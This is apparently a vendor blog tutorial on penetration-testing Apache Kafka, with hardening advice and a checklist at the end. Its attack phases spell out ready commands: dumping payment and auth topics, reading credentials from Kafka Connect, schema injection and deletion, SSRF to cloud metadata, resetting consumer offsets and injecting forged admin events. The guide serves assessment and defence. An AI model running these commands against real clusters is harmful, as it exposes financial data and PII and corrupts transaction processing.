Apache Kafka Security Testing: Unauthorized Topic Access, Consumer Group Exploitation, and Schema Registry Attacks

Kafka's Security Model

Kafka's security model has three layers that must all be configured correctly:

1. Encryption — TLS for data in transit between clients and brokers
2. Authentication — SASL (PLAIN, SCRAM, GSSAPI/Kerberos, OAUTHBEARER) or mTLS
3. Authorization — ACLs (Access Control Lists) controlling which clients can read/write which topics

A common misconfiguration is enabling authentication but leaving authorization open, or configuring TLS without authentication (allowing any client to connect). Each layer deserves independent verification during a security assessment.

Phase 1: Discovery and Enumeration

Finding Kafka Brokers

# Kafka listens on 9092 (plaintext) and 9093 (TLS) by default
nmap -p 9092,9093,2181 --script kafka-info 192.168.1.0/24

# Shodan search for exposed Kafka
shodan search "product:kafka" port:9092

# Check ZooKeeper (used by older Kafka deployments)
# ZooKeeper on 2181, older deployments expose cluster metadata
nc -z target 9092 && echo "Kafka port open"
nc -z target 2181 && echo "ZooKeeper port open"

Initial Connection Testing

Use kcat (formerly kafkacat) for command-line Kafka operations:

# Install kcat
brew install kcat  # macOS
apt install kafkacat  # Debian/Ubuntu

# Test if broker accepts unauthenticated connections
kcat -b target:9092 -L  # List metadata (brokers and topics)

# Example output from unauthenticated broker
Metadata for all topics (from broker 1: target:9092/1):
 3 brokers:
  broker 1 at kafka-1.internal:9092
  broker 2 at kafka-2.internal:9092
  broker 3 at kafka-3.internal:9092
 15 topics:
  topic "user-events" with 6 partitions
  topic "transactions" with 12 partitions
  topic "auth-logs" with 3 partitions
  topic "payment-processing" with 8 partitions

Topic Enumeration

# List all topics
kcat -b target:9092 -L -J | python3 -c "
import sys, json
d = json.load(sys.stdin)
print('Topics:')
for topic in d['topics']:
    print(f\"  {topic['topic']} ({len(topic['partitions'])} partitions)\")
"

# Using Kafka CLI tools (requires JVM)
kafka-topics.sh --bootstrap-server target:9092 --list

# Get topic details
kafka-topics.sh --bootstrap-server target:9092 \
  --describe --topic user-events

# Using kafka-python client
python3 -c "
from kafka import KafkaAdminClient
admin = KafkaAdminClient(bootstrap_servers=['target:9092'])
topics = admin.list_topics()
print('Topics:', topics)
for topic in topics:
    print(admin.describe_topics([topic]))
"

Phase 2: Data Interception — Reading Topics

Consuming Messages from Topics

# Read from the beginning of a topic
kcat -b target:9092 -t user-events -C -o beginning -e | head -50

# Read all messages from a high-value topic
kcat -b target:9092 -t transactions -C -o beginning -f "Offset: %o Key: %k Value: %s\n"

# Continuous consumer (real-time interception)
kcat -b target:9092 -t auth-logs -C

# Read from a specific partition and offset
kcat -b target:9092 -t transactions -C -p 0 -o 0 -e

# Consume and save to file
kcat -b target:9092 -t payment-processing -C -o beginning -e > payment_dump.json

High-Value Topics to Target

During a Kafka security assessment, prioritize these topic naming patterns:

• auth-*, login-*, session-* — authentication events, tokens
• payment-*, transaction-*, billing-* — financial data
• user-*, customer-*, account-* — PII
• audit-*, log-* — audit trails (also valuable for recon)
• internal-*, system-* — internal service communication
• _schemas — Schema Registry topic (reveals all message schemas)
• __consumer_offsets — consumer group metadata

Deserialization Attacks

# Kafka messages may use Avro, Protobuf, or JSON Schema
# First, check the _schemas topic for Schema Registry usage
kcat -b target:9092 -t _schemas -C -o beginning -e | python3 -m json.tool

# Example schema revealing field types
{
  "type": "AVRO",
  "schema": "{\"type\":\"record\",\"name\":\"UserEvent\",\"fields\":[
    {\"name\":\"userId\",\"type\":\"string\"},
    {\"name\":\"email\",\"type\":\"string\"},
    {\"name\":\"creditCardLast4\",\"type\":\"string\"},
    {\"name\":\"sessionToken\",\"type\":\"string\"}
  ]}"
}

# Deserialize Avro messages (requires schema)
python3 -c "
from kafka import KafkaConsumer
from confluent_kafka.avro import AvroConsumer
from confluent_kafka.avro.serializer import SerializerError

consumer = AvroConsumer({
    'bootstrap.servers': 'target:9092',
    'schema.registry.url': 'http://target:8081',
    'group.id': 'pentest-group',
    'auto.offset.reset': 'earliest'
})
consumer.subscribe(['user-events'])
for msg in consumer:
    print(msg.value())
"

Phase 3: Schema Registry Exploitation

Confluent Schema Registry stores Avro, JSON, and Protobuf schemas. It typically runs on port 8081 and is often unauthenticated even when the Kafka brokers require authentication.

Schema Registry API Enumeration

# Check if Schema Registry is unauthenticated
curl -s "http://target:8081/subjects" | python3 -m json.tool
# Returns list of all schema subjects

# Example output
["user-events-value", "transactions-key", "transactions-value",
 "payment-processing-value", "auth-events-value"]

# Get all versions of a schema
curl -s "http://target:8081/subjects/user-events-value/versions"
# [1, 2, 3]

# Get specific schema version (reveals all field names and types)
curl -s "http://target:8081/subjects/user-events-value/versions/latest" | python3 -m json.tool

# Get all schemas
for subject in $(curl -s "http://target:8081/subjects" | python3 -c "import sys,json; print('\n'.join(json.load(sys.stdin)))"); do
  echo "=== $subject ==="
  curl -s "http://target:8081/subjects/$subject/versions/latest"
  echo
done

Schema Injection

If the Schema Registry allows unauthenticated writes, you can register malicious schemas that could break consumers or exfiltrate data:

# Register a modified schema (if write access is allowed)
curl -X POST "http://target:8081/subjects/user-events-value/versions" \
  -H "Content-Type: application/vnd.schemaregistry.v1+json" \
  -d '{
    "schema": "{\"type\":\"record\",\"name\":\"UserEvent\",\"fields\":[
      {\"name\":\"userId\",\"type\":\"string\"},
      {\"name\":\"email\",\"type\":\"string\"},
      {\"name\":\"attacker_field\",\"type\":[\"null\",\"string\"],\"default\":null}
    ]}"
  }'

# Delete a schema (disruptive - requires authorization)
curl -X DELETE "http://target:8081/subjects/critical-topic-value"

Phase 4: Kafka Connect Exploitation

Kafka Connect provides a framework for moving data between Kafka and external systems (databases, S3, HDFS). The REST API is often unauthenticated and allows arbitrary connector configuration.

Kafka Connect API Testing

# Check if Kafka Connect REST API is unauthenticated (port 8083)
curl -s "http://target:8083/connectors" | python3 -m json.tool

# List existing connectors (reveals data pipeline topology)
curl -s "http://target:8083/connectors?expand=status" | python3 -m json.tool

# Get connector configuration (may contain database credentials)
curl -s "http://target:8083/connectors/production-db-sink/config" | python3 -m json.tool

# Example output showing database credentials
{
  "connector.class": "io.confluent.connect.jdbc.JdbcSinkConnector",
  "connection.url": "jdbc:postgresql://prod-db:5432/users",
  "connection.user": "kafka_writer",
  "connection.password": "db_password_here",  # CREDENTIAL EXPOSURE
  "topics": "user-updates"
}

SSRF via Kafka Connect

Kafka Connect can be used for SSRF when the REST API is unauthenticated:

# Create a connector that makes requests to internal services
curl -X POST "http://target:8083/connectors" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "ssrf-probe",
    "config": {
      "connector.class": "io.confluent.connect.http.HttpSourceConnector",
      "tasks.max": "1",
      "http.api.url": "http://169.254.169.254/latest/meta-data/",  # AWS IMDS
      "topic.name.pattern": "ssrf-results"
    }
  }'

# Check topic for SSRF results
kcat -b target:9092 -t ssrf-results -C -o beginning

Phase 5: Consumer Group Hijacking

Consumer groups track message processing offsets. Manipulating consumer group offsets can cause data reprocessing, message skipping, or denial of service.

Consumer Group Enumeration

# List all consumer groups
kafka-consumer-groups.sh --bootstrap-server target:9092 --list

# Get consumer group details (lag, offsets)
kafka-consumer-groups.sh --bootstrap-server target:9092 \
  --describe --group production-consumer

# Example output
GROUP              TOPIC           PARTITION  CURRENT-OFFSET  LOG-END-OFFSET  LAG  CONSUMER-ID
prod-consumer      transactions    0          12345           12350           5    consumer-1
prod-consumer      transactions    1          8901            8901            0    consumer-2

Consumer Group Offset Manipulation

# Reset offsets to beginning (causes reprocessing of all messages)
kafka-consumer-groups.sh --bootstrap-server target:9092 \
  --group production-consumer \
  --topic transactions \
  --reset-offsets --to-earliest --execute

# Skip to end (causes message loss)
kafka-consumer-groups.sh --bootstrap-server target:9092 \
  --group production-consumer \
  --topic transactions \
  --reset-offsets --to-latest --execute

# Set specific offset (surgical manipulation)
kafka-consumer-groups.sh --bootstrap-server target:9092 \
  --group production-consumer \
  --topic transactions:0 \
  --reset-offsets --to-offset 0 --execute

Ghost Consumer Groups

# Join as a new consumer in an existing group (read messages before legitimate consumer)
python3 -c "
from kafka import KafkaConsumer

consumer = KafkaConsumer(
    'transactions',
    bootstrap_servers=['target:9092'],
    group_id='production-consumer',  # Join existing group
    auto_offset_reset='earliest',
    enable_auto_commit=True
)
for message in consumer:
    print(f'Intercepted: partition={message.partition} offset={message.offset}')
    print(message.value)
"

Phase 6: ZooKeeper Exploitation (Legacy)

Kafka deployments using ZooKeeper (Kafka < 3.0) may expose ZooKeeper on port 2181:

# Connect to ZooKeeper
./zookeeper-shell.sh target:2181

# Inside ZooKeeper shell
ls /                    # List root znodes
ls /brokers/topics      # List all topics
ls /consumers           # List consumer groups
get /kafka-cluster/id   # Get cluster ID

# Get broker configuration
get /brokers/ids/0

# List ACLs configured in ZooKeeper
ls /kafka-acl/Topic
get /kafka-acl/Topic/user-events

# Command line without interactive shell
echo "ls /brokers/topics" | ./zookeeper-shell.sh target:2181

Phase 7: Message Injection

# Produce malicious messages to topics (if write access allowed)
echo '{"user_id": "attacker", "action": "admin_access", "role": "superadmin"}' | \
  kcat -b target:9092 -t user-events -P

# Using Kafka CLI
echo "malicious_payload" | kafka-console-producer.sh \
  --bootstrap-server target:9092 \
  --topic user-events \
  --property "key.serializer=org.apache.kafka.common.serialization.StringSerializer"

# Potential impacts of message injection:
# - Trigger business logic with forged events
# - Cause consumer crashes via malformed messages
# - Inject SQL injection payloads if Kafka feeds a database
# - Bypass audit controls if audit events are Kafka-sourced

Kafka Security Hardening

Enable TLS Encryption

# server.properties
listeners=SSL://kafka:9093
ssl.keystore.location=/var/ssl/kafka.keystore.jks
ssl.keystore.password=keystore_password
ssl.key.password=key_password
ssl.truststore.location=/var/ssl/kafka.truststore.jks
ssl.truststore.password=truststore_password
ssl.client.auth=required  # Require client certificates

# Disable plaintext listener
# Remove: listeners=PLAINTEXT://kafka:9092

Enable SASL Authentication

# SASL/SCRAM-SHA-512 (recommended over PLAIN)
# server.properties
listeners=SASL_SSL://kafka:9092
security.inter.broker.protocol=SASL_SSL
sasl.mechanism.inter.broker.protocol=SCRAM-SHA-512
sasl.enabled.mechanisms=SCRAM-SHA-512

# Create users
kafka-configs.sh --bootstrap-server kafka:9092 \
  --alter --add-config 'SCRAM-SHA-512=[iterations=8192,password=secure_password]' \
  --entity-type users --entity-name kafka_user

Configure ACLs

# Allow specific service to read from topic
kafka-acls.sh --bootstrap-server kafka:9092 \
  --add --allow-principal User:payment-service \
  --operation Read --topic transactions

# Allow producer to write
kafka-acls.sh --bootstrap-server kafka:9092 \
  --add --allow-principal User:payment-producer \
  --operation Write --topic transactions

# Restrict consumer group access
kafka-acls.sh --bootstrap-server kafka:9092 \
  --add --allow-principal User:payment-service \
  --operation Read --group payment-consumer-group

# List all ACLs
kafka-acls.sh --bootstrap-server kafka:9092 --list

Schema Registry Security

# schema-registry.properties
# Enable basic authentication
authentication.method=BASIC
authentication.roles=read,write,admin
authentication.realm=SchemaRegistry

# Or use Confluent RBAC with MDS
confluent.metadata.bootstrap.server.urls=https://kafka:8090
schema.registry.resource.extension.class=io.confluent.kafka.schemaregistry.security.SchemaRegistrySecurityResourceExtension

# Restrict to internal network only
listeners=http://127.0.0.1:8081

Kafka Connect Security

# Connect workers REST API protection
listeners=https://connect:8083
rest.advertised.listener=https
ssl.keystore.location=/etc/kafka/ssl/connect.keystore.jks
# Enable authentication for REST API
rest.extension.classes=org.apache.kafka.connect.rest.basic.auth.extension.BasicAuthSecurityRestExtension

Kafka Security Assessment Checklist

• ✅ Broker listeners — no PLAINTEXT listeners in production
• ✅ Authentication — SASL configured (SCRAM-SHA-512 or GSSAPI)
• ✅ Authorization — ACLs configured, no wildcard allow rules
• ✅ TLS — certificates valid, strong ciphers enforced
• ✅ Schema Registry — authentication enabled, not exposed to internet
• ✅ Kafka Connect — REST API requires authentication
• ✅ ZooKeeper — requires authentication if deployed (or using KRaft mode)
• ✅ Consumer groups — restricted to authorized services
• ✅ Admin operations — AdminClient API restricted to ops principals
• ✅ Network segmentation — Kafka not reachable from untrusted networks

Testing with Ironimo

Ironimo identifies exposed Kafka brokers, Schema Registry instances, and Kafka Connect endpoints in your external attack surface. It checks for unauthenticated access, misconfigured listeners, and known CVEs — before an attacker finds your event stream.

Key Takeaways

• Kafka defaults are insecure — authentication and TLS must be explicitly configured; there is no "out of the box" security
• Schema Registry is frequently forgotten — even when Kafka brokers require SASL, Schema Registry is often left unauthenticated
• Kafka Connect can exfiltrate entire databases — unauthenticated Kafka Connect REST APIs are a critical finding
• Consumer group manipulation causes data integrity issues — offset resets cause financial transaction reprocessing in worst case
• ZooKeeper exposure = cluster compromise — never expose ZooKeeper to untrusted networks; migrate to KRaft mode (Kafka 3.x)
• kcat is your friend — use it to quickly validate whether unauthenticated access is possible before investing in full exploitation